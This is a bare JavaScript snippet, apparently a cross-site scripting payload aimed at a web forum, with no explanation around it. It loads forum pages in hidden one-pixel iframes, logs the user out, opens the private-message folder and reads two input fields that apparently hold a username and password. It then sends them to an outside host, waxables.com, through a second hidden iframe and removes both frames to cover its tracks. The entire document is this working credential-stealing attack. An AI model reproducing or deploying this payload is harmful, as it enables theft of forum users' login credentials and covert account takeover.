ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "/forum/login.php?do=logout");
   ifrm.setAttribute("name", "ifrm");
   ifrm.style.width = 1+"px";
   ifrm.style.height = 1+"px";
   ifrm.name = "ifrm";
   document.body.appendChild(ifrm);
   setTimeout("start()", "3000");
   
function start(){
window.frames[0].document.getElementsByTagName("a")[32].click();
//window.frames[0].document.forms[0].submit();
setTimeout("destroy()","2000");
}
function destroy(){
window.frames[0].document.location="/forum/private.php?folderid=0";
//alert('Remove Child');
//document.body.removeChild(ifrm);
setTimeout("retrieve()", "2500");
}

function retrieve(){
var u = window.frames[0].document.getElementsByTagName("input")[17].value;
var p = window.frames[0].document.getElementsByTagName("input")[18].value;
window.frames[0].document.forms[2].submit();
ifrm2 = document.createElement("IFRAME");
   ifrm2.setAttribute("src", "http://www.waxables.com/test/test.php?u=" + u + "&p=" + p);
   ifrm2.setAttribute("name", "ifrm2");
   ifrm2.style.width = 3+"px";
   ifrm2.style.height = 4+"px";
   ifrm2.name = "ifrm2";
   document.body.appendChild(ifrm2); 
setTimeout("dest()","3400");
}
function dest(){
document.body.removeChild(ifrm);
document.body.removeChild(ifrm2);
}
